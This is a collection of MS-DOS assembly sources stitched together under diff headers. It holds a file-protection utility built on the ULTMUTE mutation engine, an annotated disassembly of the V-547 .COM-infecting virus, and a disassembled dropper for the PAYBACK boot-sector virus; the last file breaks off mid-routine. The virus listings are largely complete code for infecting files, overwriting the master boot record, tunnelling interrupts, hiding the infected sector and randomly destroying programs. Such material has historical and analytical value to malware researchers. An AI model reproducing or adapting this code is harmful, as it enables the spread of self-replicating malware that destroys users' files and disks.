;NOTE THAT MODIFICATION PRIVILEDGES APPLY ONLY TO THIS VERSION (2.1s)!
;I'd appreciate notification of any modifications if at all possible,
;reach me through the address listed in the documentation file (bwfpu21s.doc).
;
;DISCLAIMER: The author takes ABSOLUTELY NO RESPONSIBILITY for any damages
;resulting from the use/misuse of this program/file. The user agrees to hold
;the author harmless for any consequences that may occur directly or
;indirectly from the use of this program by utilizing this program/file
;in any manner.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Modifications:
; None as of 08/05/93 - Initial Release.
.model tiny
.radix 16
.code
org 100
extrn _ULTMUTE:near, _END_ULTMUTE:byte
start:
call GetFilename
call Get_Passes
call EncryptGP
call Do_File
mov ax,4c00
int 21
;---------------------------------------------------------------------------
GetFilename:
mov ah,09
mov dx,offset Message
int 21
mov dx,offset Filename_Data
mov al,60
call gets
ret
;---------------------------------------------------------------------------
Get_Passes:
Clear_Out_Passes:
mov di,offset Entered_Pass
mov cx,0ch ;Clear out entered pass.
xor ax,ax
repnz stosb
mov di,offset Password
mov cx,0ch ;Clear out entered pass.
xor ax,ax
repnz stosb
mov ah,09
mov dx,offset Req_Pass
int 21
mov di,offset Entered_Pass
mov cx,0ch
call GetPass
mov ah,09
mov dx, offset Dup_Pass
int 21
mov di,offset Password
mov cx,0ch
call GetPass
call Check_Passwords
jc Get_Passes
mov di,offset Entered_Pass
mov cx,0dh ;Clear out entered pass.
xor ax,ax
repnz stosb
Randomize_Keys:
push ds
xor ax,ax
mov ds,ax
mov ax,word ptr ds:[46c] ;Randomizes encryption
pop ds
mov word ptr [Key1],ax
xor ax,1f3eh
ror ax,1
mov word ptr [Key2],ax
Encrypt_Password: ;This algorithm needs extra work...
mov bx,word ptr [Key1]
mov dx,word ptr [Key2] ;Encrypt the password
mov si,offset Password
mov di,si
mov cx,6
EncryptIt:
lodsw
xor ax,bx
add bx,dx
stosw
loop EncryptIt
ret
;---------------------------------------------------------------------------
Message:
db 'PassCOM 2.0 (c) 1993 Black Wolf Enterprises.',0a,0dh
db 'Enter Filename To Protect -> $'
;---------------------------------------------------------------------------
Req_Pass db 0a,0dh,'Now Enter Password (up to 12 chars): $'
Dup_Pass db 0a,0dh,'Re-Enter Password: $'
Passes_Not db 0a,0dh,'Passwords do not match. Try again.',0a,0dh,24
;---------------------------------------------------------------------------
Check_Passwords:
mov si,offset Entered_Pass
mov di,offset Password
mov cx,0c
repz cmpsb
jcxz Password_Good
stc
ret
Password_Good:
clc
ret
;---------------------------------------------------------------------------
gets: ;get string
mov ah,0a
push bx
mov bx,dx
mov byte ptr ds:[bx],al
mov byte ptr ds:[bx+1],0
pop bx
int 21
push bx
mov bx,dx
mov al,byte ptr ds:[bx+1]
xor ah,ah
add bx,ax
mov byte ptr ds:[bx+2],0
pop bx
ret
;---------------------------------------------------------------------------
GetPass:
KeyHit_Loop: ;Load in password
push cx
sub ax,ax
int 16
cmp al,0dh
je HitReturn
stosb
pop cx
loop KeyHit_Loop
ret
HitReturn:
pop cx
xor al,al
repnz stosb
ret
;---------------------------------------------------------------------------
Time dw 0
Date dw 0
GetTime:
mov ax,5700 ;Get file date/time from handle BX
int 21
mov word ptr cs:[Time],cx
mov word ptr cs:[Date],dx
ret
SetTime: ;Set file date/time for handle BX
mov ax,5701
mov cx,word ptr cs:[Time]
mov dx,word ptr cs:[Date]
int 21
ret
Do_File:
mov ax,3d02
mov dx,offset Filename
int 21 ;Open file read/write
jc Terminate
xchg bx,ax
call GetTime ;Get file date/time
call BackupFile ;make a copy....
mov ah,3f
mov cx,4
mov dx,offset Storage_Bytes ;Read in first four bytes for jump
int 21
mov ax,4202
xor cx,cx
xor dx,dx ;go to the end of the file
int 21
sub ax,3
mov word ptr [JumpBytes+1],ax ;Save Jump size
push bx
mov si,offset begin_password ;On Entry -> CS=DS=ES
mov di,offset _END_ULTMUTE ;SI=Source, DI=Destination
mov bx,ax ;BX=Next Entry Point
add bx,103
mov cx,end_password-begin_password+1 ;CX=Size to Encrypt
mov ax,1 ;AX=Calling Style
call _ULTMUTE ;Encrypt Code
;On Return -> CX=New Size
pop bx
mov dx,offset _END_ULTMUTE
mov ah,40 ;Write encrypted code and
int 21 ;decryptor to end of file
mov ax,4200
xor dx,dx ;Go back to beginning of file
xor cx,cx
int 21
mov ah,40
mov cx,4
mov dx,offset JumpBytes ;Write in jump to decryptor
int 21
call SetTime ;Restore file date/time
mov ah,3e
int 21 ;close file
ret
Terminate:
mov ah,09
mov dx,offset BadFile
int 21
ret
BadFile db 'Error Opening File.',07,0dh,0a,24
JumpBytes db 0e9,0,0,'á'
EncryptGP: ;Encrypt GoodPass routine in pw_com
xor ax,ax ;with value from password itself...
mov cx,0c
mov si,offset Password
GetValue:
lodsb
add ah,al
ror ah,1 ;Get value to use for encrypt...
loop GetValue
mov si,offset Goodpass
mov cx,EndGoodPass-GoodPass
Decrypt_Restore: ;This needs improvement....
mov al,[si]
xor al,ah
mov [si],al
inc si
loop Decrypt_Restore
ret
BackupFile: ;Create copy of file...
mov si,offset Filename
mov cx,80
Find_Eofn:
lodsb
cmp al,'.' ;Find file extension
je FoundDot
or al,al
jz FoundZero
loop Find_Eofn
jmp Terminate
FoundZero:
mov byte ptr [si-1],'.'
inc si
FoundDot:
mov word ptr [si],'LO'
mov byte ptr [si+2],'D' ;Change extension to 'OLD'
mov byte ptr [si+3],0
mov dx,offset Filename
mov word ptr [SourceF],bx
mov ah,3c
xor cx,cx
int 21
jnc GCreate
jmp Terminate
GCreate:
mov word ptr cs:[Destf],ax
BackLoop:
mov ah,3f
mov bx,word ptr cs:[Sourcef]
mov cx,400
mov dx,offset FileBuffer ;Copy file to backup
int 21
mov cx,ax
mov ah,40
mov bx,word ptr cs:[Destf]
mov dx,offset Filebuffer
int 21
cmp ax,400
je BackLoop
DoneBack:
mov bx,word ptr cs:[Destf]
call SetTime ;Save original date/time stamp in
;backup
mov ah,3e
mov bx,word ptr cs:[Destf]
int 21 ;Close file
mov ax,4200
xor cx,cx
xor dx,dx
mov bx,word ptr cs:[Sourcef] ;Go back to the beginning of the
int 21 ;source file
ret
SourceF dw 0
DestF dw 0
;This is code from PW_COM compiled converted to data bytes..
;If you modify PW_COM, you must compile it and convert it, then
;place it here. Note that the byte 0ffh marks the beginning and
;end of Goodpass for simplicity....
begin_password:
db 0e8h, 02dh, 01h, 02eh, 0c6h, 086h, 09h, 01h, 0eah, 0ebh
db 06h, 00h, 0ebh, 011h, 090h, 0adh, 0deh, 0bbh, 021h, 01h
db 03h, 0ddh, 053h, 02eh, 0c6h, 086h, 011h, 01h, 0c3h, 0ebh
db 0edh, 0ebh, 0f0h, 0fah, 050h, 01eh, 033h, 0c0h, 08eh, 0d8h
db 08dh, 086h, 01ch, 02h, 087h, 06h, 00h, 00h, 050h, 08ch
db 0c8h, 087h, 06h, 02h, 00h, 050h, 01eh, 0eh, 01fh, 02eh
db 0c7h, 086h, 044h, 01h, 090h, 090h, 033h, 0c9h, 0f7h, 0f1h
db 01fh, 058h, 087h, 06h, 02h, 00h, 058h, 087h, 06h, 00h
db 00h, 01fh, 058h, 0fbh, 0e8h, 0aah, 00h, 02eh, 080h, 086h
db 05eh, 01h, 010h, 0ebh, 03h, 090h, 0eah, 09ah, 0e8h, 081h
db 00h, 0e8h, 069h, 00h, 072h, 038h, 033h, 0c0h, 0b9h, 0ch
db 00h, 08dh, 0b6h, 04eh, 02h, 0ach, 02h, 0e0h, 0d0h, 0cch
db 0e2h, 0f9h, 08dh, 0b6h, 090h, 01h, 0b9h, 011h, 00h, 08ah
db 04h, 032h, 0c4h, 088h, 04h, 046h, 0e2h, 0f7h, 0e8h, 039h
db 00h, 0ebh, 01h, 0ffh
GoodPass:
db 0bfh, 00h, 01h, 057h, 08dh, 0b6h
db 03eh, 02h, 0a5h, 0a5h, 033h, 0c0h, 08bh, 0f0h, 08bh, 0f8h
db 0c3h
EndGoodPass:
db 0ffh, 0b4h, 09h, 08dh, 096h, 0afh, 01h, 0cdh, 021h
db 0b8h, 01h, 04ch, 0cdh, 021h, 0ah, 0dh, 050h, 061h, 073h
db 073h, 077h, 06fh, 072h, 064h, 020h, 049h, 06eh, 063h, 06fh
db 072h, 072h, 065h, 063h, 074h, 02eh, 07h, 024h, 090h, 0ebh
db 05h, 090h, 0eah, 0f8h, 0c3h, 09ah, 0fch, 0ebh, 0fah, 08dh
db 0b6h, 04eh, 02h, 08dh, 0beh, 042h, 02h, 0b9h, 0ch, 00h
db 0f3h, 0a6h, 0e3h, 03h, 0f9h, 0c3h, 0e9h, 0f8h, 0c3h, 00h
db 08bh, 09eh, 03ah, 02h, 08bh, 096h, 03ch, 02h, 08dh, 0b6h
db 04eh, 02h, 08bh, 0feh, 0b9h, 06h, 00h, 0adh, 033h, 0c3h
db 03h, 0dah, 0abh, 0e2h, 0f8h, 0c3h, 0eah, 0b9h, 0ch, 00h
db 08dh, 0beh, 04eh, 02h, 051h, 02bh, 0c0h, 0cdh, 016h, 03ch
db 0dh, 074h, 05h, 0aah, 059h, 0e2h, 0f3h, 0c3h, 059h, 032h
db 0c0h, 0f2h, 0aah, 0c3h, 0b4h, 09h, 08dh, 096h, 025h, 02h
db 0cdh, 021h, 0cfh, 050h, 061h, 073h, 073h, 077h, 06fh, 072h
db 064h, 02dh, 03eh, 024h, 05dh, 0ebh, 01h, 0eah, 055h, 081h
db 0edh, 03h, 01h, 0c3h
;------------------------------------------------------------------------
Key1 dw 0
Key2 dw 0
;------------------------------------------------------------------------
Storage_Bytes db 90,90,0cdh,20
;------------------------------------------------------------------------
Password db 'Greetings to'
Entered_Pass db 'everyone! '
db 0,0,0,0,0,0,0
end_password:
dw 0
dw 0
Filename_data dw 0
Filename db 80 dup(0) ;These are stored as zeros to
FileBuffer db 400 dup(0) ;keep from overwriting ultimute...
end start

@ -0,0 +1,341 @@
;----------------------------------------------
; Virus V-547
;
; Dissasembled: Andrzej Kadlof April 1991
;
; (C) Polish Section of Virus Information Bank
;----------------------------------------------
0100 E9FD00 JMP 0200 ; jump to virus
; ....
; victim code
;====================
; virus entry point
0200 EB03 JMP 0205
0202 49 42 4D ; IBM
; set DS to wirus working area
0205 0E PUSH CS
0206 58 POP AX
0207 052000 ADD AX,0020 ; [0208] is modified for each victim
020A 8ED8 MOV DS,AX
; restore oryginal first 3 bytes of victim
020C 8B162002 MOV DX,[0220]
0210 2E89160001 MOV CS:[0100],DX
0215 8A362202 MOV DH,[0222]
0219 2E88360201 MOV CS:[0102],DH
021E B80001 MOV AX,0100 ; application start address
0221 0E PUSH CS ; store on stack
0222 50 PUSH AX
0223 33FF XOR DI,DI
0225 2E8E062C00 MOV ES,CS:[002C] ; segment of environment
022A 51 PUSH CX
022B FC CLD
022C 32C0 XOR AL,AL
022E B90500 MOV CX,0005 ; length of string
0231 BE1B02 MOV SI,021B ; PATH=
0234 F3A6 REPZ CMPSB
0236 740B JZ 0243
0238 B9E803 MOV CX,03E8
023B F2AE REPNZ SCASB
023D 26803D00 CMP BYTE PTR ES:[DI],00
0241 75EB JNZ 022E
0243 8BF7 MOV SI,DI
0245 59 POP CX
0246 51 PUSH CX
0247 B42C MOV AH,2C ; get time
0249 CD21 INT 21
024B F6C601 TEST DH,01 ; seconds
024E 7503 JNZ 0253
0250 E9B401 JMP 0407
0253 88365702 MOV [0257],DH
0257 06 PUSH ES
0258 B42F MOV AH,2F ; Get DTA
025A CD21 INT 21
025C 891E2802 MOV [0228],BX
0260 8C062A02 MOV [022A],ES
0264 07 POP ES
0265 BA2C02 MOV DX,022C
0268 B41A MOV AH,1A ; set DTA
026A CD21 INT 21
026C B44E MOV AH,4E ; find first
026E BA2302 MOV DX,0223
0271 B90800 MOV CX,0008 ; volume label
0274 CD21 INT 21
0276 7219 JB 0291
0278 813E44022110 CMP WORD PTR [0244],1021 ; date: 1988 January 1
027E 7511 JNZ 0291
0280 81264202E0FF AND WORD PTR [0242],FFE0 ; clear seconds
0286 813E42022008 CMP WORD PTR [0242],0820 ; time: 01:01:00
028C 7503 JNZ 0291
028E E96A01 JMP 03FB ; exit to application
; copy founded string to local buffer
0291 BF5802 MOV DI,0258 ; set buffer address
0294 26803C3B CMP BYTE PTR ES:[SI],3B ; ';' end of string marker
0298 740F JZ 02A9
029A 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment
029E 7409 JZ 02A9
02A0 268A04 MOV AL,ES:[SI]
02A3 8805 MOV [DI],AL
02A5 47 INC DI
02A6 46 INC SI
02A7 EBEB JMP 0294 ; copy next character
02A9 81FF5802 CMP DI,0258 ; path name non empty?
02AD 7509 JNZ 02B8 ; jump if no empty
02AF 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment block?
02B3 7403 JZ 02B8 ; jump if yes
02B5 E93801 JMP 03F0 ; no path name, exit
02B8 81FF5802 CMP DI,0258 ; no path name?
02BC 7412 JZ 02D0 ; jump if yes
02BE 26807CFF5C CMP BYTE PTR ES:[SI-01],5C ; '\'
02C3 740B JZ 02D0
02C5 26807CFF2F CMP BYTE PTR ES:[SI-01],2F ; '/'
02CA 7404 JZ 02D0
; add directory sign
02CC C6055C MOV BYTE PTR [DI],5C ; '\'
; add mask
02CF 47 INC DI
02D0 C7052A2E MOV WORD PTR [DI],2E2A ; '*.'
02D4 C74502636F MOV WORD PTR [DI+02],6F63 ; 'co'
02D9 C745046D00 MOV WORD PTR [DI+04],006D ; 'm', 0
02DE B44E MOV AH,4E ; find next
02E0 BA5802 MOV DX,0258 ; path name + mask
02E3 B90300 MOV CX,0003 ; hiden and read only
02E6 CD21 INT 21
02E8 7303 JAE 02ED ; founded
02EA E90301 JMP 03F0 ; search for next path
02ED A14202 MOV AX,[0242] ; file time
02F0 241F AND AL,1F ; extract seconds
02F2 3C1F CMP AL,1F ; 62 seconds?
02F4 7463 JZ 0359 ; yes, infected
02F6 833E480200 CMP WORD PTR [0248],+00 ; high word of file length
02FB 755C JNZ 0359 ; file too long
02FD 813E460200FA CMP WORD PTR [0246],FA00 ; maximum file length
0303 7754 JA 0359
0305 833E46020A CMP WORD PTR [0246],+0A ; minimum file length
030A 724D JB 0359 ; file too short
; copy file name to local buffer
030C BB4A02 MOV BX,024A ; file name
030F B90D00 MOV CX,000D ; length of file name in DTA
0312 57 PUSH DI
0313 8A07 MOV AL,[BX]
0315 8805 MOV [DI],AL
0317 43 INC BX
0318 47 INC DI
0319 E2F8 LOOP 0313
; clear all attributes (CX = 0)
031B C60500 MOV BYTE PTR [DI],00 ; end of ASCIIZ string
031E 5F POP DI
031F B80143 MOV AX,4301 ; set file attribute
0322 CD21 INT 21
0324 B8023D MOV AX,3D02 ; open file for read/write
0327 CD21 INT 21
0329 722E JB 0359 ; find next
032B 8BD8 MOV BX,AX ; handle
032D A14202 MOV AX,[0242] ; file time
0330 241F AND AL,1F ; extract seconds
0332 3C1E CMP AL,1E ; 62?
0334 750A JNZ 0340
; founded file is infected, with probability 1/16 destroy it
0336 802657020F AND BYTE PTR [0257],0F ; "random" number
033B 740A JZ 0347 ; destroy file
033D E98400 JMP 03C4 ; restore file data and exit
; with probability 1/8 destroy file
0340 8026570207 AND BYTE PTR [0257],07
0345 7515 JNZ 035C ; infect file
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; classic Vienna 648 destruction (set firt instruction to JMP F000:FFF0)
0347 B440 MOV AH,40 ; write file
0349 B90500 MOV CX,0005
034C BA1302 MOV DX,0213
034F CD21 INT 21
0351 810E42021F00 OR WORD PTR [0242],001F
0357 EB6B JMP 03C4 ; exit
0359 E98B00 JMP 03E7 ; find next
; infect file
035C B43F MOV AH,3F ; read file
035E B90300 MOV CX,0003 ; 3 bytes
0361 BA2002 MOV DX,0220 ; to local buffer
0364 CD21 INT 21
0366 725C JB 03C4 ; reset file data
0368 3D0300 CMP AX,0003 ; check for error
036B 7557 JNZ 03C4 ; reset file data
036D B80042 MOV AX,4200 ; move file ptr to BOF
0370 B90000 MOV CX,0000
0373 BA0000 MOV DX,0000
0376 CD21 INT 21
0378 724A JB 03C4 ; reset file data
037A A14602 MOV AX,[0246] ; file size
037D 050F00 ADD AX,000F ; addjust to paragraph border
0380 25F0FF AND AX,FFF0
0383 8BE8 MOV BP,AX ; store intermidiate length
0385 2D0300 SUB AX,0003 ; length of JMP XXXX
0388 A31902 MOV [0219],AX ; form JMP XXXX in local buffer
038B B90300 MOV CX,0003 ; number of bytes
038E BA1802 MOV DX,0218 ; address of JMP virus_code
0391 B440 MOV AH,40 ; write file
0393 CD21 INT 21
0395 722D JB 03C4 ; reset file data
0397 B80242 MOV AX,4202 ; move file ptr rel EOF
039A 8BD5 MOV DX,BP ; addjuseted file length
039C 2B164602 SUB DX,[0246] ; real file length
03A0 B90000 MOV CX,0000 ; high word of file end
03A3 CD21 INT 21
03A5 721D JB 03C4 ; restore file data
03A7 81C50001 ADD BP,0100 ; PSP length
03AB B104 MOV CL,04 ; convert to paragraphs
03AD D3ED SHR BP,CL
03AF 892E0800 MOV [0008],BP ; automodyfication of virus code
03B3 B92302 MOV CX,0223 ; virus length
03B6 90 NOP
03B7 BA0000 MOV DX,0000 ; buffer, start of virus code
03BA B440 MOV AH,40 ; write file
03BC CD21 INT 21
03BE 810E42021E00 OR WORD PTR [0242],001E ; set 62 seconds
; restore file time/date stamp
03C4 8B164402 MOV DX,[0244] ; restore file date stamp
03C8 8B0E4202 MOV CX,[0242] ; restore file time stamp
03CC B80157 MOV AX,5701 ; set file time/date stamp
03CF CD21 INT 21
03D1 B43E MOV AH,3E ; close file
03D3 CD21 INT 21
; restore file attributes
03D5 B80143 MOV AX,4301 ; set file attributes
03D8 33C9 XOR CX,CX
03DA 8A0E4102 MOV CL,[0241] ; restore file attributes
03DE BA5802 MOV DX,0258
03E1 03D6 ADD DX,SI
03E3 CD21 INT 21
03E5 EB14 JMP 03FB ; exit
; find next candidate for victim
03E7 B44F MOV AH,4F ; find next
03E9 CD21 INT 21
03EB 7203 JB 03F0 ; search for next path
03ED E9FDFE JMP 02ED ; check file
03F0 46 INC SI
03F1 26807CFF00 CMP BYTE PTR ES:[SI-01],00 ; end of environment block?
03F6 7403 JZ 03FB ; yes, exit
03F8 E996FE JMP 0291 ; search for next path name
; restore DTA
03FB B41A MOV AH,1A ; set DTA
03FD 8B162802 MOV DX,[0228]
0401 8E1E2A02 MOV DS,[022A]
0405 CD21 INT 21
; exit to application
0407 33C0 XOR AX,AX
0409 33DB XOR BX,BX
040B 33D2 XOR DX,DX
040D 33F6 XOR SI,SI
040F 33FF XOR DI,DI
0411 59 POP CX
0412 CB RETF
; working area
0413 EAF0FF00F0 ; JMP F000:FFF0 instruction for destruction
0418 E9 FD 00 ; form new first 3 bytes (JMP 0518)
041B 50 41 54 48 3D ; PATH=
0420 db ? dup (3) ; first 3 bytes of victim
; end of code copied to file
;==============================
; working area
0423 db ? dup (5) ; mask of file name for FindFirst
0428 dd ? ; address of old DTA
042C db ? dup (2C) ; local DTA
; 0 db ? dup (15h) ; reserwed [022C]
; 15h db ? ; atributte [0241]
; 16h dw ? ; time [0242]
; 18h dw ? ; date [0244]
; 1Ah dd ? ; file size [0246]
; 1Eh db ? dup (0Dh) ; file name [024A] ... [0256]
0457 db ? ; system timer seconds
0458 db ? ; buffer for path name from environment

@ -0,0 +1,476 @@
;*****************************************************************************
;* *
;* FILE: PAYBACK.A86 *
;* PURPOSE: Dropper containing PAYBACK boot sector virus *
;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder *
;* *
;*****************************************************************************
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,ES:MAIN
ORG 100h
;*****************************************************************************
;Decryption routine to decrypt body of virus. Not used in this file as virus
;has already been decrypted for analysis. Bit sequence of encryption/decryp-
;tion key possibly chosen for its randomized bit sequence (just a guess).
;DECRYPT:
; MOV CX,02A8 ;set length of encrypted code
; MOV AX,0391D ;load decryption key (bit sequence
; ;"0011100100011101")
; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code
;DECLP1: DEC CX ;decrement byte count
; JS DROPPER ;if done, jump to dropper start
; XOR [SI],AL ;decrypt a byte
; XCHG AH,AL ;change key
; ROR AX,CL ;really mix it up
; DEC SI ;point to next byte to decrypt
; JMP DECLP1 ;do it all again
;****************************************************************************
;Dropper routine to place virus in MBR of fixed disk "C".
DROPPER:
MOV AX,03513 ;get INT13 vector.
INT 021
MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus
MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus
CALL STEAL_INT01 ;jump to steal INT01 routine
MOV AX,0201 ;select read-one-sector function
MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset
MOV CX,0001 ;cylinder 0, sector 1
MOV DX,0080 ;head 0, fixed disk "C"
CALL SYS_INT13 ;read boot sector of drive "C"
JB RUN_CARRIER ;if flag = failure, execute carrier
CMP WORD PTR [BX+010],012CD ;check for infection tag
JE RUN_CARRIER ;if infected, execute carrier program
XOR AX,AX
MOV DS,AX ;point to data segment 0000h
MOV AX,[046C] ;load lower two bytes of master clock
PUSH CS
POP DS ;restore data segment
TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB)
JZ RUN_CARRIER ;if AL <> 01, do not infect system
SUB BX,0200 ;set disk I/O buffer to point to virus
MOV AX,0302 ;select write-two-sectors
CALL SYS_INT13 ;write virus to MBR and original
;boot sector to sector 2.
;****************************************************************************
;Routine to restore original jump address to start of trojan file and to
;execute trojan carrier program. We don't use it here since the virus is not
;attached to anything (other than its own dropper). Instead, the replacement
;RUN_CARRIER routine below it is executed to terminate the dropper.
;RUN_CARRIER:
; MOV DI,0100 ;point to carrier prog. start
; MOV WORD PTR [DI],030B4 ;restore original jump value
; MOV BYTE PTR [DI+02],CD ;ditto
; XOR AX,AX
; PUSH DI ;zero DI
; RET ;exit and execute carrier program
RUN_CARRIER:
MOV AX,04C00 ;select terminate-with-return-code
INT 021 ;terminate PAYBACK.COM dropper
;*****************************************************************************
;Routine to steal INT01 for tunnelling purposes and then restore it to its
;original value. Tunnelling is new to me, so I hope that I got this right.
STEAL_INT01:
MOV AX,03501 ;get INT01 (single-step) vector
INT 021
MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler
MOV AH,025 ;steal INT01 vector
INT 021
PUSHF
POP AX ;pop flags into AX
OR AH,01 ;set trap flag
PUSH AX
POPF ;pop AX into flag register (from this
;point on, every instruction execution
;also executes the viral INT01
;handler)
XOR AX,AX ;zero AX
CALL SYS_INT13 ;reset disks to allow INT01 tunnelling
;to find BIOS INT13 handler address
PUSHF
POP AX ;pop flags into AX
AND AH,0FE ;zero trap flag
PUSH AX
POPF ;pop AX into flag register
MOV AX,02501 ;set-interrupt-vector function (INT01)
MOV DX,BX ;load DX with orig. INT01 offset
PUSH ES
POP DS ;load DS with orig. INT01 segment
INT 21 ;restore INT01 vector to orig. value
PUSH CS
PUSH CS
POP DS ;set DS and ES to value of
POP ES ;code segment
RET
;*****************************************************************************
;INT01 handler routine to accomplish tunnelling address aquisition for
;original INT13 handler.
FIND_INT13:
PUSH BP
MOV BP,SP ;load BP with the stack offset
PUSH AX
MOV AX,[BP+04] ;load AX with the segment of the
;calling routine
CMP AX,0C800 ;is it in DOS segment?
JNB TUNNEL ;if not, its time to tunnel
EXIT: POP AX ;restore registers
POP BP
IRET ;return from INT01 interrupt
TUNNEL:
CMP AX,0F000 ;calling routine in ROM?
JA EXIT ;if so, no need to tunnel, so exit
CS: ;if not, store orig. INT13 segment
MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection
MOV AX,[BP+02] ;load AX with original INT13 offset
CS:
MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset
AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to
JMP EXIT ;return to prevent re-execution of
;this INT01 handler
SYS_INT13:
PUSHF ;preserve flags
CS:
CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr.
RET
;*****************************************************************************
;Start of boot sector virus code.
BOOT: CLI ;disable interrupts
XOR AX,AX
MOV DS,AX ;set data segment
MOV SS,AX ;set stack segment
MOV SP,0FFFE ;set stack pointer
STI ;enable interrupts
PUSH DS ;preserve DS
DEC WORD PTR [0413] ;lower top of memory 1K
INT 012 ;get base memory size
MOV CL,0A ;set rotation count
ROR AX,CL ;calculate upper memory segment
LES BX,[004C] ;get BIOS INT13h handler offset & seg.
MOV [07DB7],BX ;store orig. offset within virus
MOV [07DB9],ES ;store orig. segment within virus
MOV WORD PTR [004C],008D ;set INT13h offset vector to virus
MOV [004E],AX ;set vector to installed virus seg.
MOV ES,AX ;set ES to installed virus segment
XOR DI,DI ;zero destination offset for move
MOV SI,07C00 ;set source address for virus move
PUSH SI ;set SI for orig. boot sector load
MOV CX,02C8 ;set byte count for move (a count of
;0200h would have been adequate)
CLD ;clear direction flag (fwd)
REPZ
MOVSB ;move virus to upper memory
PUSH ES ;set up stack for virus reentry seg.
MOV AX,003F ;AX = offset for virus reentry point
PUSH AX ;set up stack for virus reentry off.
RETF ;return to self in new location (ES:AX)
NEW_LOCATION:
MOV AX,0201 ;select read-one-sector function
POP BX ;set disk I/O buffer to 7C00h
MOV CX,0002 ;track 0, sector 2 (self modified by
;virus to reflect true MBR location)
MOV DX,0080 ;head 0, fixed disk "C" (once again,
;self-modified by virus)
AND DL,080 ;mask to load original MBR from drive
;"C", even if not boot drive, or drive
;"A" if boot is from floppy
POP ES ;set ES = 0000h
CALL BIOS_INT13 ;load original boot sector to 0:7C00
PUSH CS
POP DS ;set to current upper-mem. seg. value
PUSH CS
POP ES ;ditto
MOV AX,0201 ;select read-one-sector function
MOV BX,0200 ;set I/O buffer location
MOV CX,0001 ;track 0, sector 1
MOV DX,0080 ;head 0, fixed disk "C"
CALL BIOS_INT13 ;load MBR
CMP WORD PTR [0210],012CD ;check for infect tag
JE BOOT_EXIT ;if infected, exit
CMP WORD PTR [03FE],0AA55 ;valid boot record tag?
JNE BOOT_EXIT ;if not, then exit
MOV AX,0302 ;select write-two-sectors function
XOR BX,BX ;set buffer offset to include virus
INC CX ;track 0, sector 2 (relocated MBR)
MOV [0044],CX ;store track/sector within viral code
MOV [0047],DX ;store head/drive within viral code
DEC CX ;track 0, sector 1
CALL BIOS_INT13 ;write virus to MBR and original MBR
;to sector 2.
BOOT_EXIT:
CALL CHECK_DATE ;check for activation date
JMP 0000:07C00 ;wrong date, so jump to original MBR
;*****************************************************************************
;INT13h handler routine.
STEALTH:
CMP CX,+01 ;track 0, sector 1?
JNE EXIT2BIOS ;if not, no need for stealth, so exit
OR DH,DH ;head 0?
JNE EXIT2BIOS ;ditto
CMP AH,02 ;read request?
JE ORIG_SECT ;if so, time for stealth...
EXIT2BIOS:
CS:
JMP FAR D[01B7] ;jump to BIOS via stored address
EXIT2CALL:
RETF 0002 ;exit to calling routine
ORIG_SECT:
CALL BIOS_INT13 ;read boot sector
JB EXIT2CALL ;if flag=failure, exit to calling rtn.
ES:
CMP WORD PTR [BX+0010],012CD ;check for infection tag
JNE INFECT_FLOPPY ;if not infected, then infect
MOV AX,0201 ;select read-one-sector function
PUSH CX ;preserve registers values
PUSH DX ;for boot sector
ES:
MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd.
ES:
MOV DH,[BX+0048] ;load head # of original boot record
CALL BIOS_INT13 ;load original boot record
POP DX ;restore registers to values
POP CX ;sent by calling routine
JMP EXIT2CALL ;exit directly back to calling routine
;*****************************************************************************
;Diskette infection routine. Very clever and code efficient (to me, anyway).
INFECT_FLOPPY:
PUSHF ;push flags to hide I/O errors
PUSH AX ;preserve registers
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH ES
PUSH CX ;save a few register values a
PUSH DX ;second time to be used by
PUSH BX ;the virus interrupt handler
TEST DL,080 ;fixed drive I/O?
JNZ EXIT_1 ;if so, then exit handler
ES:
CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer?
JNE EXIT_1 ;if not, exit handler
CALL CALC_TRACK ;if so, calc. reloc. track/sector #
JB EXIT_1 ;if not standard format, exit
CS:
MOV [0044],CX ;store reloc. track/sect. within virus
CS:
MOV [0047],DX ;store reloc. head/drive within virus
POP BX ;restore orig. buffer offset
MOV AX,0301 ;select write-one-sector
PUSH AX
CALL BIOS_INT13 ;relocate boot sector
POP AX ;restore some registers
POP DX
POP CX
JB EXIT_2 ;if I/O flag = failure, exit
XOR BX,BX ;set I/O buffer to virus start
PUSH CS
POP ES ;set ES=CS
CALL BIOS_INT13 ;write virus to boot sector
JMP EXIT_2 ;exit handler
EXIT_1:
POP BX ;restore registers
POP DX
POP CX
EXIT_2:
POP ES ;restore registers
POP DI
POP DX
POP CX
POP BX
POP AX
POPF ;pop flags to hide I/O errors
JMP EXIT2BIOS ;jump to exit to BIOS
CALC_TRACK:
MOV DI,DX ;load DI with head/drive #
ES:
MOV AX,[BX+013] ;load total # sectors on disk from BPB
ES:
MOV CX,[BX+018] ;load # of sectors per track from BPB
OR AX,AX ;test AX for 00h
JZ BPB_FAIL ;if zero, non-standard format, so exit
JCXZ BPB_FAIL ;ditto for CX
XOR DX,DX ;clear DX for remainder storage
DIV CX ;divide AX by CX
OR DX,DX ;test DX for 00h (no remainder)
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
ES:
MOV BX,[BX+01A] ;load # of disk sides from BPB
OR BX,BX ;test BX for 00h
JZ BPB_FAIL ;if zero, non-standard format, so exit
DIV BX ;divide AX by BX
